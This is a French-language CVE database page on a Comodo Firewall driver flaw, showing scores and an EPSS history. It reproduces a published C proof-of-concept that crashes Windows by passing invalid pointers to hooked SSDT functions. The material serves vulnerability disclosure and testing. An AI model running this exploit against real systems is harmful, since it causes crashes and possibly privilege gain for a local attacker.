CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
cmdmon.sys in Comodo Firewall Pro (formerly Comodo Personal Firewall) before 2.4.16.174 does not validate arguments that originate in user mode for the (1) NtConnectPort and (2) NtCreatePort hooked SSDT functions, which allows local users to cause a denial of service (system crash) and possibly gain privileges via invalid arguments.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-01-14
–
–
–
0.04%
–
2024-02-25
–
–
–
0.04%
–
2024-04-14
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-09
–
–
–
0.04%
–
2024-10-27
–
–
–
0.04%
–
2024-12-15
–
–
–
0.04%
–
2024-12-22
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.16%
2025-03-30
–
–
–
–
0.16%
2025-04-15
–
–
–
–
0.16%
2025-04-16
–
–
–
–
0.16%
2025-04-27
–
–
–
–
0.16%
2025-05-01
–
–
–
–
0.16%
2025-05-05
–
–
–
–
0.16%
2025-05-09
–
–
–
–
0.16%
2025-05-12
–
–
–
–
0.16%
2025-05-16
–
–
–
–
0.16%
2025-05-28
–
–
–
–
0.16%
2025-05-28
–
–
–
–
0.16,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2007-01-31 23h00 +00:00 Auteur : Matousec Transparent security EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/22357/info
Comodo Firewall is prone to multiple denial-of-service vulnerabilities because it fails to adequately validate user supplied data.
Exploiting these issues may permit attackers to cause system crashes and deny service to legitimate users. Presumaby, attackers may also be able to execute arbitrary code, but this has not been confirmed.
Comodo Firewall Pro 2.4.16.174 and Comodo Personal Firewall 2.3.6.81 are vulnerable; other versions may also be affected.
/*
Testing program for Multiple insufficient argument validation of hooked
SSDT function (BTP00000P005CF)
Usage:
prog FUNCNAME
FUNCNAME - name of function to be checked
Description:
This program calls given function with parameters that crash the
system. This happens because of
insufficient validation of function arguments in the driver of the
firewall.
Test:
Running the testing program with the name of a function from the list
of affected functions.
*/
#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>
void about(void)
{
printf("Testing program for Multiple insufficient argument validation
of hooked SSDT function (BTP00000P005CF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2007 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
void usage(void)
{
printf("Usage: test FUNCNAME\n"
" FUNCNAME - name of function to be checked\n");
return;
}
void print_last_error(void)
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %ld\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code
%ld.\n",code);
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=2)
{
usage();
return 1;
}
if (!stricmp(argv[1],"NtConnectPort") ||
!stricmp(argv[1],"ZwConnectPort"))
{
HANDLE handle;
UNICODE_STRING us={0x1000,0x1000,NULL};
SECURITY_QUALITY_OF_SERVICE sqos;
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwConnectPort(&handle,&us,&sqos,NULL,NULL,NULL,NULL,NULL);
}
} else if (!stricmp(argv[1],"NtCreatePort") ||
!stricmp(argv[1],"ZwCreatePort"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwCreatePort(&handle,&oa,0,0,0);
}
} else if (!stricmp(argv[1],"NtCreateSection") ||
!stricmp(argv[1],"ZwCreateSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwCreateSection(&handle,0,oa,NULL,0,0,NULL);
}
} else if (!stricmp(argv[1],"NtOpenProcess") ||
!stricmp(argv[1],"ZwOpenProcess"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenProcess(&handle,PROCESS_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtOpenSection") ||
!stricmp(argv[1],"ZwOpenSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwOpenSection(&handle,SECTION_ALL_ACCESS,oa);
}
} else if (!stricmp(argv[1],"NtOpenThread") ||
!stricmp(argv[1],"ZwOpenThread"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenThread(&handle,THREAD_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtSetValueKey") ||
!stricmp(argv[1],"ZwSetValueKey"))
{
for (int i=0;i>=0;i++)
{
PUNICODE_STRING us=(PVOID)(i+0x80000000);
ZwSetValueKey(NULL,us,0,REG_NONE,NULL,0);
}
} else printf("\nI do not know how to exploit the vulnerability using
this function.\n");
printf("\nTEST FAILED!\n");
return 1;
}